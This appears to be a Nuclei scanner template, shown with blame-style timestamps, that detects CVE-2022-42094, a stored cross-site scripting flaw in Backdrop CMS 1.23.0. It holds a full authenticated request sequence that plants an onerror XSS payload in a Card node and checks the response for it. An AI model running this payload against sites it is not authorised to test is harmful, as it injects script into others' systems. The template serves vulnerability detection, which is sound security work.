2023-04-21 08:56:01 +00:00
id : CVE-2022-42094
info :
name : Backdrop CMS version 1.23.0 - Stored Cross Site Scripting
author : theamanrawat
severity : medium
description : |
Backdrop CMS version 1.23.0 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the 'Card' content.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
2023-09-06 11:59:08 +00:00
remediation : |
Upgrade to a patched version of Backdrop CMS or apply the necessary security patches provided by the vendor.
2023-04-21 08:56:01 +00:00
reference :
- https://github.com/backdrop/backdrop/releases/tag/1.23.0
- https://github.com/bypazs/CVE-2022-42094
- https://nvd.nist.gov/vuln/detail/CVE-2022-42094
2023-07-11 19:49:27 +00:00
- https://backdropcms.org
2024-03-23 09:28:19 +00:00
- https://github.com/ARPSyndicate/cvemon
2023-04-21 08:56:01 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
cvss-score : 4.8
cve-id : CVE-2022-42094
cwe-id : CWE-79
2024-06-07 10:04:29 +00:00
epss-score : 0.00858
epss-percentile : 0.82247
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:backdropcms:backdrop:1.23.0:*:*:*:*:*:*:*
2023-04-21 08:56:01 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 4
2023-07-11 19:49:27 +00:00
vendor : backdropcms
product : backdrop
2024-05-31 19:23:20 +00:00
shodan-query : cpe:"cpe:2.3:a:backdropcms:backdrop"
2023-12-05 09:50:33 +00:00
tags : cve,cve2022,xss,cms,backdrop,authenticated,intrusive,backdropcms
2023-04-21 08:56:01 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-04-21 08:56:01 +00:00
- raw :
- |
GET /?q=user/login HTTP/1.1
Host : {{Hostname}}
- |
POST /?q=user/login HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
name={{username}}&pass={{password}}&form_build_id={{form_id_1}}&form_id=user_login&op=Log+in
- |
GET /?q=node/add/card HTTP/1.1
Host : {{Hostname}}
- |
POST /?q=node/add/card HTTP/1.1
Host : {{Hostname}}
Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryWEcZgRB4detkrGaY
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition : form-data; name="title"
{{randstr}}
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition : form-data; name="files[field_image_und_0]"; filename=""
Content-Type : application/octet-stream
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition : form-data; name="field_image[und][0][fid]"
0
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition : form-data; name="field_image[und][0][display]"
1
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition : form-data; name="changed"
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition : form-data; name="form_build_id"
{{form_id_2}}
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition : form-data; name="form_token"
{{form_token}}
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition : form-data; name="form_id"
card_node_form
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition : form-data; name="body[und][0][value]"
<img src=x onerror=alert(document.domain)>
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition : form-data; name="body[und][0][format]"
full_html
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition : form-data; name="status"
1
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition : form-data; name="name"
{{name}}
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition : form-data; name="date[date]"
2023-04-13
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition : form-data; name="date[time]"
21 : 49 : 36
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition : form-data; name="path[auto]"
1
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition : form-data; name="comment"
1
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition : form-data; name="additional_settings__active_tab"
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition : form-data; name="op"
Save
------WebKitFormBoundaryWEcZgRB4detkrGaY--
host-redirects : true
2023-07-11 19:49:27 +00:00
2023-04-21 08:56:01 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
2023-07-11 19:49:27 +00:00
- <img src="x" onerror="alert(document.domain)" />
- Backdrop CMS
2023-04-21 08:56:01 +00:00
condition : and
- type : status
status :
- 200
extractors :
- type : regex
name : form_id_1
group : 1
regex :
2023-07-11 19:49:27 +00:00
- name="form_build_id" value="(.*)"
2023-04-21 08:56:01 +00:00
internal : true
- type : regex
name : name
group : 1
regex :
2023-07-11 19:49:27 +00:00
- name="name" value="(.*?)"
2023-04-21 08:56:01 +00:00
internal : true
- type : regex
name : form_id_2
group : 1
regex :
2023-07-11 19:49:27 +00:00
- name="form_build_id" value="(.*)"
2023-04-21 08:56:01 +00:00
internal : true
- type : regex
name : form_token
group : 1
regex :
2023-07-11 19:49:27 +00:00
- name="form_token" value="(.*)"
2023-04-21 08:56:01 +00:00
internal : true
2024-06-08 16:02:17 +00:00
# digest: 4b0a00483046022100b7dcccec0a5c34af4d9f3e1d71034d1f2cd8e20159ac2680b5c5e7ee07eca4d2022100d25e5b4830a7a27c5ac425cbafaa3977e30c8912e328b18bb24a6b708b0072f0:922c64590222798bb761d5b6d8e72950